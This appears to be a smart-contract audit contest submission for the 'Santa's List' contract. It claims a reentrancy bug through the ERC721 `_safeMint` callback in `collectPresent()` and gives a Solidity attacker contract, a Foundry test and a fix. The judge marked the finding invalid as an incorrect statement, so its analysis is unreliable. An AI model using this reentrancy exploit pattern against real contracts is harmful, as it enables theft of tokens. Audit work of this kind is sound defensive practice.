Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

`_mintAndIncrement()` Uses `_safeMint` — ERC721 Callback Enables Reentrancy in `collectPresent()`

Description

Root + Impact

  • The _mintAndIncrement() function uses OpenZeppelin's _safeMint(), which calls onERC721Received() on the recipient if it's a smart contract. This is an external call.

  • In collectPresent(), the AlreadyCollected check uses balanceOf(msg.sender) > 0. If a malicious contract receives the NFT via _safeMint, its onERC721Received callback fires. Inside this callback, the attacker can transfer the NFT to another address (making balanceOf return 0 again), then re-call collectPresent().

  • This allows an EXTRA_NICE user to collect multiple NFTs and SantaTokens by reentering through the ERC721 callback.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (balanceOf(msg.sender) > 0) { // @> Check relies on current balance — can be manipulated by transferring NFT away during callback
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement(); // @> _safeMint triggers onERC721Received callback
return;
} else if (...) {
_mintAndIncrement(); // @> Callback fires before function returns
i_santaToken.mint(msg.sender);
return;
}
}
function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++); // @> External call via onERC721Received
}

Risk

Likelihood:

  • Requires deploying a contract that implements onERC721Received and transfers the NFT away before re-calling collectPresent()

  • Moderately complex but well-known attack pattern

Impact:

  • EXTRA_NICE attacker can mint unlimited NFTs and unlimited SantaTokens (1e18 per reentry)

  • NICE attacker can mint unlimited NFTs

  • Completely breaks the "collect once" invariant


Proof of Concept

contract ReentrancyAttacker {
SantasList public target;
address public receiver;
uint256 public reentryCount;
uint256 public maxReentry;
constructor(address _target, address _receiver) {
target = SantasList(_target);
receiver = _receiver;
}
function attack(uint256 times) external {
maxReentry = times;
reentryCount = 0;
target.collectPresent();
}
function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4) {
// Transfer NFT away so balanceOf(this) returns 0 again
target.transferFrom(address(this), receiver, tokenId);
reentryCount++;
if (reentryCount < maxReentry) {
target.collectPresent(); // Re-enter — balanceOf check passes
}
return this.onERC721Received.selector;
}
}
function test_ReentrancyCollectPresent() public {
address receiver = makeAddr("receiver");
ReentrancyAttacker attacker = new ReentrancyAttacker(address(santasList), receiver);
vm.startPrank(santa);
santasList.checkList(address(attacker), SantasList.Status.EXTRA_NICE);
santasList.checkTwice(address(attacker), SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(address(attacker));
attacker.attack(3);
// Attacker minted 3 NFTs and 3e18 SantaTokens from a single "collect once" function
assertEq(santasList.balanceOf(receiver), 3);
assertEq(santaToken.balanceOf(address(attacker)), 3e18);
}

Recommended Mitigation

Use a dedicated hasClaimed mapping instead of relying on balanceOf:

+ mapping(address => bool) private s_hasClaimed;
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (s_hasClaimed[msg.sender]) {
revert SantasList__AlreadyCollected();
}
+ s_hasClaimed[msg.sender] = true; // Set BEFORE external call (CEI pattern)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!